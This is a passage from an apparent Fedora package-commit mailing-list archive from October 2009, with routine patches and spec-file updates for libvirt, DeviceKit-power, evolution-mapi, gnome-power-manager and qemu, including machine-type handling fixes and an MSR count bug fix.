  </guest>

and start a guest with:

  <domain type='kvm'>
    ...
    <os>
      <type arch='x86_64'>hvm</type>
      ...
    </os>
  </domain>

then the default machine type should be 'pc' and not 'pc-0.11'

Issue was reported by Anton Protopopov.

* src/capabilities.[ch]: pass the domain type to
  virCapabilitiesDefaultGuestArch() and use it to look up the default
  machine type from a specific guest domain if needed.

* src/conf/domain_conf.c, src/xen/xm_internal.c: update

* tests/qemuxml2argvdata/qemuxml2argv-machine-aliases2.xml: update
  the domain type to 'kvm' and remove the machine type to check
  that the default gets looked up correctly

(cherry picked from commit 73c901a8075c09203545fc81164c1e5f11c67c89)

Fedora-patch: libvirt-qemu-machine-type-fixes1.patch
---
 src/capabilities.c                                 |   31 ++++++++++++++++---
 src/capabilities.h                                 |    3 +-
 src/domain_conf.c                                  |    3 +-
 src/xm_internal.c                                  |    3 +-
 .../qemuxml2argv-machine-aliases2.xml              |    4 +-
 5 files changed, 34 insertions(+), 10 deletions(-)

diff --git a/src/capabilities.c b/src/capabilities.c
index 38fe7fc..6ebddf5 100644
--- a/src/capabilities.c
+++ b/src/capabilities.c
@@ -549,22 +549,43 @@ virCapabilitiesDefaultGuestArch(virCapsPtr caps,
  * @caps: capabilities to query
  * @ostype: OS type to search for
  * @arch: architecture to search for
+ * @domain: domain type to search for
  *
  * Returns the first machine variant associated with
- * the requested operating system type and architecture
+ * the requested operating system type, architecture
+ * and domain type
  */
 extern const char *
 virCapabilitiesDefaultGuestMachine(virCapsPtr caps,
                                    const char *ostype,
-                                   const char *arch)
+                                   const char *arch,
+                                   const char *domain)
 {
     int i;
+
     for (i = 0 ; i < caps->nguests ; i++) {
-        if (STREQ(caps->guests[i]->ostype, ostype) &&
-            STREQ(caps->guests[i]->arch.name, arch) &&
-            caps->guests[i]->arch.defaultInfo.nmachines)
+        virCapsGuestPtr guest = caps->guests[i];
+        int j;
+
+        if (!STREQ(guest->ostype, ostype) || !STREQ(guest->arch.name, arch))
+            continue;
+
+        for (j = 0; j < guest->arch.ndomains; j++) {
+            virCapsGuestDomainPtr dom= guest->arch.domains[j];
+
+            if (!STREQ(dom->type, domain))
+                continue;
+
+            if (!dom->info.nmachines)
+                break;
+
+            return dom->info.machines[0]->name;
+        }
+
+        if (guest->arch.defaultInfo.nmachines)
             return caps->guests[i]->arch.defaultInfo.machines[0]->name;
     }
+
     return NULL;
 }
 
diff --git a/src/capabilities.h b/src/capabilities.h
index b958d95..2f24605 100644
--- a/src/capabilities.h
+++ b/src/capabilities.h
@@ -207,7 +207,8 @@ virCapabilitiesDefaultGuestArch(virCapsPtr caps,
 extern const char *
 virCapabilitiesDefaultGuestMachine(virCapsPtr caps,
                                    const char *ostype,
-                                   const char *arch);
+                                   const char *arch,
+                                   const char *domain);
 extern const char *
 virCapabilitiesDefaultGuestEmulator(virCapsPtr caps,
                                     const char *ostype,
diff --git a/src/domain_conf.c b/src/domain_conf.c
index 5ae0775..c424c67 100644
--- a/src/domain_conf.c
+++ b/src/domain_conf.c
@@ -2664,7 +2664,8 @@ static virDomainDefPtr virDomainDefParseXML(virConnectPtr conn,
     if (!def->os.machine) {
         const char *defaultMachine = virCapabilitiesDefaultGuestMachine(caps,
                                                                         def->os.type,
-                                                                        def->os.arch);
+                                                                        def->os.arch,
+                                                                        virDomainVirtTypeToString(def->virtType));
         if (defaultMachine != NULL) {
             if (!(def->os.machine = strdup(defaultMachine))) {
                 virReportOOMError(conn);
diff --git a/src/xm_internal.c b/src/xm_internal.c
index de3aca9..6d351d4 100644
--- a/src/xm_internal.c
+++ b/src/xm_internal.c
@@ -720,7 +720,8 @@ xenXMDomainConfigParse(virConnectPtr conn, virConfPtr conf) {
 
     defaultMachine = virCapabilitiesDefaultGuestMachine(priv->caps,
                                                         def->os.type,
-                                                        def->os.arch);
+                                                        def->os.arch,
+                                                        virDomainVirtTypeToString(def->virtType));
     if (defaultMachine != NULL) {
         if (!(def->os.machine = strdup(defaultMachine)))
             goto no_memory;
diff --git a/tests/qemuxml2argvdata/qemuxml2argv-machine-aliases2.xml b/tests/qemuxml2argvdata/qemuxml2argv-machine-aliases2.xml
index 6f62243..a2c6254 100644
--- a/tests/qemuxml2argvdata/qemuxml2argv-machine-aliases2.xml
+++ b/tests/qemuxml2argvdata/qemuxml2argv-machine-aliases2.xml
@@ -1,11 +1,11 @@
-<domain type='qemu'>
+<domain type='kvm'>
   <name>QEMUGuest1</name>
   <uuid>c7a5fdbd-edaf-9455-926a-d65c16db1809</uuid>
   <memory>219200</memory>
   <currentMemory>219200</currentMemory>
   <vcpu>1</vcpu>
   <os>
-    <type arch='x86_64' machine='pc'>hvm</type>
+    <type arch='x86_64'>hvm</type>
     <boot dev='hd'/>
   </os>
   <clock offset='utc'/>
-- 
1.6.2.5


libvirt-qemu-machine-type-fixes2.patch:
 qemu_conf.c |    4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

--- NEW FILE libvirt-qemu-machine-type-fixes2.patch ---
>From bb64cc4cbe5d3c69057f63be2c1acaca72038e5a Mon Sep 17 00:00:00 2001
From: Mark McLoughlin <markmc at redhat.com>
Date: Thu, 15 Oct 2009 12:09:17 +0100
Subject: [PATCH] Don't copy old machines from a domain which has none

If the the qemu and kvm binaries are the same, we don't include machine
types in the kvm domain info.

However, the code which refreshes the machine types info from the
previous capabilities structure first looks at the kvm domain's info,
finds it matches and then copies the empty machine types list over
for the top-level qemu domain.

That doesn't make sense, we shouldn't copy an empty machin types list.

* src/qemu/qemu_conf.c: qemudGetOldMachinesFromInfo(): don't copy an
  empty machine types list.

(cherry picked from commit 2210f8a3a8e2774ca4fb8b42e21899e5b85ca913)

Fedora-patch: libvirt-qemu-machine-type-fixes2.patch
---
 src/qemu_conf.c |    3 +++
 1 files changed, 3 insertions(+), 0 deletions(-)

diff --git a/src/qemu_conf.c b/src/qemu_conf.c
index 0dd0624..34a7fe1 100644
--- a/src/qemu_conf.c
+++ b/src/qemu_conf.c
@@ -505,6 +505,9 @@ qemudGetOldMachinesFromInfo(virCapsGuestDomainInfoPtr info,
     virCapsGuestMachinePtr *list;
     int i;
 
+    if (!info->nmachines)
+        return 0;
+
     if (!info->emulator || !STREQ(emulator, info->emulator))
         return 0;
 
-- 
1.6.2.5


libvirt-storage-iscsi-auth-xml-formatting.patch:
 storage_conf.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE libvirt-storage-iscsi-auth-xml-formatting.patch ---
>From a44bce591a8d746a4a00c8609cb0111c76271cab Mon Sep 17 00:00:00 2001
From: Cole Robinson <crobinso at redhat.com>
Date: Thu, 8 Oct 2009 18:05:36 -0400
Subject: [PATCH] storage: Fix generating iscsi 'auth' xml

We were missing a closing tag, so the XML wasn't proper.

(cherry picked from commit 826cbac4591fd5929b497299a90d3a65226b2825)

Fedora-patch: libvirt-storage-iscsi-auth-xml-formatting.patch
---
 src/storage_conf.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/storage_conf.c b/src/storage_conf.c
index 788de15..1633aac 100644
--- a/src/storage_conf.c
+++ b/src/storage_conf.c
@@ -799,7 +799,7 @@ virStoragePoolSourceFormat(virConnectPtr conn,
 
 
     if (src->authType == VIR_STORAGE_POOL_AUTH_CHAP)
-        virBufferVSprintf(buf,"    <auth type='chap' login='%s' passwd='%s'>\n",
+        virBufferVSprintf(buf,"    <auth type='chap' login='%s' passwd='%s'/>\n",
                           src->auth.chap.login,
                           src->auth.chap.passwd);
     virBufferAddLit(buf,"  </source>\n");
-- 
1.6.2.5



Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/F-12/libvirt.spec,v
retrieving revision 1.191
retrieving revision 1.192
diff -u -p -r1.191 -r1.192
--- libvirt.spec	13 Oct 2009 15:43:51 -0000	1.191
+++ libvirt.spec	19 Oct 2009 10:14:07 -0000	1.192
@@ -151,7 +151,7 @@
 Summary: Library providing a simple API virtualization
 Name: libvirt
 Version: 0.7.1
-Release: 12%{?dist}%{?extra_release}
+Release: 13%{?dist}%{?extra_release}
 License: LGPLv2+
 Group: Development/Libraries
 Source: http://libvirt.org/sources/libvirt-%{version}.tar.gz
@@ -191,6 +191,14 @@ Patch13: libvirt-fix-libvirtd-leak-in-er
 Patch14: libvirt-fix-qemu-restore-from-raw1.patch
 Patch15: libvirt-fix-qemu-restore-from-raw2.patch
 
+# Misc fixes to qemu machine types handling
+Patch16: libvirt-qemu-machine-type-fixes1.patch
+Patch17: libvirt-qemu-machine-type-fixes2.patch
+
+# A couple of XML formatting fixes
+Patch18: libvirt-storage-iscsi-auth-xml-formatting.patch
+Patch19: libvirt-network-delay-attribute-formatting.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 URL: http://libvirt.org/
 BuildRequires: python-devel
@@ -421,6 +429,10 @@ of recent versions of Linux (and other O
 %patch13 -p1
 %patch14 -p1
 %patch15 -p1
+%patch16 -p1
+%patch17 -p1
+%patch18 -p1
+%patch19 -p1
 
 %build
 # Needed for libvirt-logrotate-create-lxc-uml-dirs.patch
@@ -815,6 +827,10 @@ fi
 %endif
 
 %changelog
+* Mon Oct 19 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-13
+- Misc fixes to qemu machine types handling
+- A couple of XML formatting fixes
+
 * Tue Oct 13 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-12
 - Fix restore of qemu guest using raw save format (#523158)
 



From rhughes at fedoraproject.org  Mon Oct 19 10:15:33 2009
From: rhughes at fedoraproject.org (Richard Hughes)
Date: Mon, 19 Oct 2009 10:15:33 +0000 (UTC)
Subject: rpms/DeviceKit-power/devel .cvsignore, 1.17,
	1.18 DeviceKit-power.spec, 1.25, 1.26 sources, 1.17, 1.18
Message-ID: <20091019101533.1C56211C00DC@cvs1.fedora.phx.redhat.com>

Author: rhughes

Update of /cvs/pkgs/rpms/DeviceKit-power/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7374

Modified Files:
	.cvsignore DeviceKit-power.spec sources 
Log Message:
* Mon Oct 19 2009 Richard Hughes <richard at hughsie.com> - 012-1
- Update to 012
- Detect encrypted swap and prevent hibernate in this case.
- When we do a delayed refresh, actually do 5 x 1 second apart rather
  than 1 x 3 seconds which should fix some slow battery devices.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/DeviceKit-power/devel/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	6 Oct 2009 09:38:43 -0000	1.17
+++ .cvsignore	19 Oct 2009 10:15:32 -0000	1.18
@@ -1 +1 @@
-DeviceKit-power-011.tar.gz
+DeviceKit-power-012.tar.gz


Index: DeviceKit-power.spec
===================================================================
RCS file: /cvs/pkgs/rpms/DeviceKit-power/devel/DeviceKit-power.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- DeviceKit-power.spec	6 Oct 2009 09:38:43 -0000	1.25
+++ DeviceKit-power.spec	19 Oct 2009 10:15:32 -0000	1.26
@@ -7,7 +7,7 @@
 
 Summary: Power Management Service
 Name: DeviceKit-power
-Version: 011
+Version: 012
 #Release: 0.1.%{?alphatag}git%{?dist}
 Release: 1%{?dist}
 License: GPLv2+
@@ -109,6 +109,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/DeviceKit-power/devkit-power-gobject/*.h
 
 %changelog
+* Mon Oct 19 2009 Richard Hughes <richard at hughsie.com> - 012-1
+- Update to 012
+- Detect encrypted swap and prevent hibernate in this case.
+- When we do a delayed refresh, actually do 5 x 1 second apart rather
+  than 1 x 3 seconds which should fix some slow battery devices.
+
 * Tue Oct 06 2009 Richard Hughes <richard at hughsie.com> - 011-1
 - Update to 011
 - Use voltage_now as a fallback to the design voltage


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/DeviceKit-power/devel/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	6 Oct 2009 09:38:43 -0000	1.17
+++ sources	19 Oct 2009 10:15:32 -0000	1.18
@@ -1 +1 @@
-555a3dd01e581c277ebe9356b7f10617  DeviceKit-power-011.tar.gz
+34b8d698658cce77050443125fa9fab4  DeviceKit-power-012.tar.gz



From mcrha at fedoraproject.org  Mon Oct 19 10:21:04 2009
From: mcrha at fedoraproject.org (Milan Crha)
Date: Mon, 19 Oct 2009 10:21:04 +0000 (UTC)
Subject: rpms/evolution-mapi/F-12 .cvsignore, 1.15, 1.16 evolution-mapi.spec,
	1.19, 1.20 sources, 1.15, 1.16 gnbug588453.patch, 1.1,
	NONE gnbug595260.patch, 1.1, NONE gnbug595355.patch, 1.1,
	NONE gnbug595480.patch, 1.1, NONE
Message-ID: <20091019102104.7FCCA11C00DC@cvs1.fedora.phx.redhat.com>

Author: mcrha

Update of /cvs/pkgs/rpms/evolution-mapi/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8331

Modified Files:
	.cvsignore evolution-mapi.spec sources 
Removed Files:
	gnbug588453.patch gnbug595260.patch gnbug595355.patch 
	gnbug595480.patch 
Log Message:
* Mon Oct 19 2009 Milan Crha <mcrha at redhat.com> - 0.28.1-1
- Update to 0.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-mapi/F-12/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	22 Sep 2009 08:15:39 -0000	1.15
+++ .cvsignore	19 Oct 2009 10:21:03 -0000	1.16
@@ -1 +1 @@
-evolution-mapi-0.28.0.tar.bz2
+evolution-mapi-0.28.1.tar.bz2


Index: evolution-mapi.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-mapi/F-12/evolution-mapi.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- evolution-mapi.spec	22 Sep 2009 08:15:44 -0000	1.19
+++ evolution-mapi.spec	19 Oct 2009 10:21:03 -0000	1.20
@@ -11,7 +11,7 @@
 ### Abstract ###
 
 Name: evolution-mapi
-Version: 0.28.0
+Version: 0.28.1
 Release: 1%{?dist}
 Group: Applications/Productivity
 Summary: Evolution extension for MS Exchange 2007 servers
@@ -27,10 +27,7 @@ Requires: evolution-data-server >= %{eds
 
 ### Patches ###
 
-Patch1: gnbug588453.patch
-Patch2: gnbug595260.patch
-Patch3: gnbug595355.patch
-Patch4: gnbug595480.patch
+#Patch1: gnbug588453.patch
 
 ### Build Dependencies ###
 
@@ -59,10 +56,7 @@ Development files needed for building th
 %prep
 %setup -q
 
-%patch1 -p1 -b .gnbug588453
-%patch2 -p1 -b .gnbug595260
-%patch3 -p1 -b .gnbug595355
-%patch4 -p1 -b .gnbug595480
+#%patch1 -p1 -b .gnbug588453
 
 %build
 
@@ -120,6 +114,13 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/libexchangemapi-1.0.pc
 
 %changelog
+* Mon Oct 19 2009 Milan Crha <mcrha at redhat.com> - 0.28.1-1
+- Update to 0.28.1
+- Remove patch for Gnome bug #588453 (fixed upstream).
+- Remove patch for Gnome bug #595260 (fixed upstream).
+- Remove patch for Gnome bug #595355 (fixed upstream).
+- Remove patch for Gnome bug #595480 (fixed upstream).
+
 * Tue Sep 22 2009 Milan Crha <mcrha at redhat.com> - 0.28.0-1
 - Update to 0.28.0
 - Add patch for Gnome bug #588453 (slow retrieval of message IDs).


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-mapi/F-12/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	22 Sep 2009 08:15:44 -0000	1.15
+++ sources	19 Oct 2009 10:21:04 -0000	1.16
@@ -1 +1 @@
-60a1a064d16a85497098b447637c6f3e  evolution-mapi-0.28.0.tar.bz2
+9a165a3e12f9f8a77e54914837ef5359  evolution-mapi-0.28.1.tar.bz2


--- gnbug588453.patch DELETED ---


--- gnbug595260.patch DELETED ---


--- gnbug595355.patch DELETED ---


--- gnbug595480.patch DELETED ---



From rhughes at fedoraproject.org  Mon Oct 19 10:29:59 2009
From: rhughes at fedoraproject.org (Richard Hughes)
Date: Mon, 19 Oct 2009 10:29:59 +0000 (UTC)
Subject: rpms/DeviceKit-power/F-12 .cvsignore, 1.16,
	1.17 DeviceKit-power.spec, 1.24, 1.25 sources, 1.16, 1.17
Message-ID: <20091019102959.64A0711C00DC@cvs1.fedora.phx.redhat.com>

Author: rhughes

Update of /cvs/pkgs/rpms/DeviceKit-power/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10849

Modified Files:
	.cvsignore DeviceKit-power.spec sources 
Log Message:
* Mon Oct 19 2009 Richard Hughes <richard at hughsie.com> - 012-1
- Update to 012
- Detect encrypted swap and prevent hibernate in this case.
- When we do a delayed refresh, actually do 5 x 1 second apart rather
  than 1 x 3 seconds which should fix some slow battery devices.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/DeviceKit-power/F-12/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	14 Sep 2009 10:44:54 -0000	1.16
+++ .cvsignore	19 Oct 2009 10:29:59 -0000	1.17
@@ -1 +1 @@
-DeviceKit-power-011-20090914.tar.gz
+DeviceKit-power-012.tar.gz


Index: DeviceKit-power.spec
===================================================================
RCS file: /cvs/pkgs/rpms/DeviceKit-power/F-12/DeviceKit-power.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- DeviceKit-power.spec	14 Sep 2009 10:44:54 -0000	1.24
+++ DeviceKit-power.spec	19 Oct 2009 10:29:59 -0000	1.25
@@ -7,14 +7,14 @@
 
 Summary: Power Management Service
 Name: DeviceKit-power
-Version: 011
-Release: 0.1.%{?alphatag}git%{?dist}
-#Release: 1%{?dist}
+Version: 012
+#Release: 0.1.%{?alphatag}git%{?dist}
+Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Libraries
 URL: http://cgit.freedesktop.org/DeviceKit/DeviceKit-power/
-Source0:   http://hal.freedesktop.org/releases/%{name}-%{version}-%{?alphatag}.tar.gz
-#Source0: http://hal.freedesktop.org/releases/%{name}-%{version}.tar.gz
+#Source0:   http://hal.freedesktop.org/releases/%{name}-%{version}-%{?alphatag}.tar.gz
+Source0: http://hal.freedesktop.org/releases/%{name}-%{version}.tar.gz
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 Requires(post): /sbin/ldconfig
@@ -50,8 +50,8 @@ Requires: %{name} = %{version}-%{release
 Headers and libraries for DeviceKit-power.
 
 %prep
-#%setup -q
-%setup -q -n %{?name}-%{?version}-%{?alphatag}
+%setup -q
+#%setup -q -n %{?name}-%{?version}-%{?alphatag}
 
 %build
 %configure
@@ -109,6 +109,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/DeviceKit-power/devkit-power-gobject/*.h
 
 %changelog
+* Mon Oct 19 2009 Richard Hughes <richard at hughsie.com> - 012-1
+- Update to 012
+- Detect encrypted swap and prevent hibernate in this case.
+- When we do a delayed refresh, actually do 5 x 1 second apart rather
+  than 1 x 3 seconds which should fix some slow battery devices.
+
 * Mon Sep 14 2009 Richard Hughes  <rhughes at redhat.com> - 011-0.1.20090914git
 - Update to todays git snapshot to fix the session exploding when a USB UPS is
   inserted then removed a few times.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/DeviceKit-power/F-12/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	14 Sep 2009 10:44:54 -0000	1.16
+++ sources	19 Oct 2009 10:29:59 -0000	1.17
@@ -1 +1 @@
-3c19e1040d34657a988e8374219cd576  DeviceKit-power-011-20090914.tar.gz
+34b8d698658cce77050443125fa9fab4  DeviceKit-power-012.tar.gz



From rhughes at fedoraproject.org  Mon Oct 19 10:32:07 2009
From: rhughes at fedoraproject.org (Richard Hughes)
Date: Mon, 19 Oct 2009 10:32:07 +0000 (UTC)
Subject: rpms/gnome-power-manager/F-12 .cvsignore, 1.69,
	1.70 gnome-power-manager.spec, 1.176, 1.177 sources, 1.70,
	1.71 cookie.patch, 1.1, NONE
Message-ID: <20091019103207.DBBCD11C00DC@cvs1.fedora.phx.redhat.com>

Author: rhughes

Update of /cvs/pkgs/rpms/gnome-power-manager/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11337

Modified Files:
	.cvsignore gnome-power-manager.spec sources 
Removed Files:
	cookie.patch 
Log Message:
* Mon Oct 19 2009 Richard Hughes  <rhughes at redhat.com> - 2.28.1-1
- Update to 2.28.1
- Translation updates
- Remove upstreamed patch
- Help the kernel through its sleep key confusion
- Correctly set the focus on the last used device in gnome-power-statistics
- Do not hide some radio buttons depending on the current machine state
- Throttle screensaver before suspend/hibernate



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-power-manager/F-12/.cvsignore,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- .cvsignore	21 Sep 2009 12:43:33 -0000	1.69
+++ .cvsignore	19 Oct 2009 10:32:07 -0000	1.70
@@ -1 +1 @@
-gnome-power-manager-2.28.0.tar.bz2
+gnome-power-manager-2.28.1.tar.bz2


Index: gnome-power-manager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-power-manager/F-12/gnome-power-manager.spec,v
retrieving revision 1.176
retrieving revision 1.177
diff -u -p -r1.176 -r1.177
--- gnome-power-manager.spec	13 Oct 2009 22:23:05 -0000	1.176
+++ gnome-power-manager.spec	19 Oct 2009 10:32:07 -0000	1.177
@@ -4,8 +4,8 @@
 
 Summary: GNOME power management service
 Name: gnome-power-manager
-Version: 2.28.0
-Release: 2%{?dist}
+Version: 2.28.1
+Release: 1%{?dist}
 #Release: 0.5.%{?alphatag}git%{?dist}
 License: GPLv2+ and GFDL
 Group: Applications/System
@@ -28,7 +28,6 @@ BuildRequires: libtool
 BuildRequires: cairo-devel
 BuildRequires: libcanberra-devel
 BuildRequires: unique-devel
-BuildRequires: DeviceKit-devel >= 002
 BuildRequires: DeviceKit-power-devel >= 008
 BuildRequires: intltool
 Requires: gtk2 >= 2.10.0
@@ -46,9 +45,6 @@ Requires(post): GConf2
 Requires(preun): GConf2
 Requires(postun): scrollkeeper
 
-# https://bugzilla.gnome.org/show_bug.cgi?id=598339
-Patch0: cookie.patch
-
 %description
 GNOME Power Manager uses the information and facilities provided by HAL
 displaying icons and handling user callbacks in an interactive GNOME session.
@@ -66,7 +62,6 @@ Extra GNOME power management application
 %prep
 %setup -q
 #%setup -q -n %{?name}-%{?version}-%{?alphatag}
-%patch0 -p1 -b .cookie
 
 %build
 %configure \
@@ -185,6 +180,15 @@ fi
 %{_datadir}/icons/hicolor/*/apps/gnome-inhibit-applet.*
 
 %changelog
+* Mon Oct 19 2009 Richard Hughes  <rhughes at redhat.com> - 2.28.1-1
+- Update to 2.28.1
+- Translation updates
+- Remove upstreamed patch
+- Help the kernel through its sleep key confusion
+- Correctly set the focus on the last used device in gnome-power-statistics
+- Do not hide some radio buttons depending on the current machine state
+- Throttle screensaver before suspend/hibernate
+
 * Tue Oct 13 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-2
 - Fix possible segfault
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-power-manager/F-12/sources,v
retrieving revision 1.70
retrieving revision 1.71
diff -u -p -r1.70 -r1.71
--- sources	21 Sep 2009 12:43:33 -0000	1.70
+++ sources	19 Oct 2009 10:32:07 -0000	1.71
@@ -1 +1 @@
-c1107f8d88cbd6a3d8a44ec70c990d74  gnome-power-manager-2.28.0.tar.bz2
+552945dd50671cdf9cd11ba4bd544bfa  gnome-power-manager-2.28.1.tar.bz2


--- cookie.patch DELETED ---



From markmc at fedoraproject.org  Mon Oct 19 10:33:27 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Mon, 19 Oct 2009 10:33:27 +0000 (UTC)
Subject: rpms/qemu/devel qemu-fix-msr-count-potential-segfault.patch, NONE, 
	1.1 qemu.spec, 1.143, 1.144
Message-ID: <20091019103327.7561E11C00DC@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11694

Modified Files:
	qemu.spec 
Added Files:
	qemu-fix-msr-count-potential-segfault.patch 
Log Message:
* Mon Oct 19 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-7
- Fix potential segfault from too small MSR_COUNT (#528901)


qemu-fix-msr-count-potential-segfault.patch:
 qemu-kvm-x86.c |    7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

--- NEW FILE qemu-fix-msr-count-potential-segfault.patch ---
>From 7834349cfcc68b946c0d241ffd99c598857e489b Mon Sep 17 00:00:00 2001
From: Eduardo Habkost <ehabkost at redhat.com>
Date: Wed, 14 Oct 2009 15:02:27 -0300
Subject: [PATCH] fix MSR_COUNT for kvm_arch_save_regs()

A new register was added to the load/save list on commit
d283d5a65a2bdcc570065267be21848bd6fe3d78, but MSR_COUNT was not updated, leading
to potential stack corruption on kvm_arch_save_regs().

The following registers are saved by kvm_arch_save_regs():

 1) MSR_IA32_SYSENTER_CS
 2) MSR_IA32_SYSENTER_ESP
 3) MSR_IA32_SYSENTER_EIP
 4) MSR_STAR
 5) MSR_IA32_TSC
 6) MSR_VM_HSAVE_PA
 7) MSR_CSTAR (x86_64 only)
 8) MSR_KERNELGSBASE (x86_64 only)
 9) MSR_FMASK (x86_64 only)
10) MSR_LSTAR (x86_64 only)

(cherry picked from commit e7e5448ba387adc20be1cf08411a5b526d684299)

Signed-off-by: Eduardo Habkost <ehabkost at redhat.com>
Signed-off-by: Marcelo Tosatti <mtosatti at redhat.com>
Signed-off-by: Mark McLoughlin <markmc at redhat.com>
Fedora-patch: qemu-fix-msr-count-potential-segfault.patch
---
 qemu-kvm-x86.c |    6 ++++--
 1 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/qemu-kvm-x86.c b/qemu-kvm-x86.c
index 492dbc5..d5436b6 100644
--- a/qemu-kvm-x86.c
+++ b/qemu-kvm-x86.c
@@ -847,9 +847,9 @@ static int get_msr_entry(struct kvm_msr_entry *entry, CPUState *env)
 }
 
 #ifdef TARGET_X86_64
-#define MSR_COUNT 9
+#define MSR_COUNT 10
 #else
-#define MSR_COUNT 5
+#define MSR_COUNT 6
 #endif
 
 static void set_v8086_seg(struct kvm_segment *lhs, const SegmentCache *rhs)
@@ -991,6 +991,7 @@ void kvm_arch_load_regs(CPUState *env)
 
     /* msrs */
     n = 0;
+    /* Remember to increase MSR_COUNT if you add new registers below */
     set_msr_entry(&msrs[n++], MSR_IA32_SYSENTER_CS,  env->sysenter_cs);
     set_msr_entry(&msrs[n++], MSR_IA32_SYSENTER_ESP, env->sysenter_esp);
     set_msr_entry(&msrs[n++], MSR_IA32_SYSENTER_EIP, env->sysenter_eip);
@@ -1166,6 +1167,7 @@ void kvm_arch_save_regs(CPUState *env)
 
     /* msrs */
     n = 0;
+    /* Remember to increase MSR_COUNT if you add new registers below */
     msrs[n++].index = MSR_IA32_SYSENTER_CS;
     msrs[n++].index = MSR_IA32_SYSENTER_ESP;
     msrs[n++].index = MSR_IA32_SYSENTER_EIP;
-- 
1.6.2.5



Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/devel/qemu.spec,v
retrieving revision 1.143
retrieving revision 1.144
diff -u -p -r1.143 -r1.144
--- qemu.spec	14 Oct 2009 15:57:31 -0000	1.143
+++ qemu.spec	19 Oct 2009 10:33:27 -0000	1.144
@@ -1,7 +1,7 @@
 Summary: QEMU is a FAST! processor emulator
 Name: qemu
 Version: 0.11.0
-Release: 6%{?dist}
+Release: 7%{?dist}
 # Epoch because we pushed a qemu-1.0 package
 Epoch: 2
 License: GPLv2+ and LGPLv2+ and BSD
@@ -49,6 +49,9 @@ Patch08: qemu-improve-error-reporting-on
 # Fix fs errors with virtio and qcow2 backing file (#524734)
 Patch09: qemu-fix-qcow2-backing-file-with-virtio.patch
 
+# Fix potential segfault from too small MSR_COUNT (#528901)
+Patch10: qemu-fix-msr-count-potential-segfault.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: SDL-devel zlib-devel which texi2html gnutls-devel cyrus-sasl-devel
 BuildRequires: rsync dev86 iasl
@@ -245,6 +248,7 @@ such as kvmtrace and kvm_stat.
 %patch07 -p1
 %patch08 -p1
 %patch09 -p1
+%patch10 -p1
 
 %build
 # --build-id option is used fedora 8 onwards for giving info to the debug packages.
@@ -526,6 +530,9 @@ fi
 %{_mandir}/man1/qemu-img.1*
 
 %changelog
+* Mon Oct 19 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-7
+- Fix potential segfault from too small MSR_COUNT (#528901)
+
 * Fri Oct  9 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-6
 - Fix fs errors with virtio and qcow2 backing file (#524734)
 - Fix ksm initscript errors on kernel missing ksm (#527653)



From markmc at fedoraproject.org  Mon Oct 19 10:33:42 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Mon, 19 Oct 2009 10:33:42 +0000 (UTC)
Subject: rpms/qemu/F-12 qemu-fix-msr-count-potential-segfault.patch, NONE,
	1.1 qemu.spec, 1.143, 1.144
Message-ID: <20091019103342.D0A8E11C00DC@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/F-12
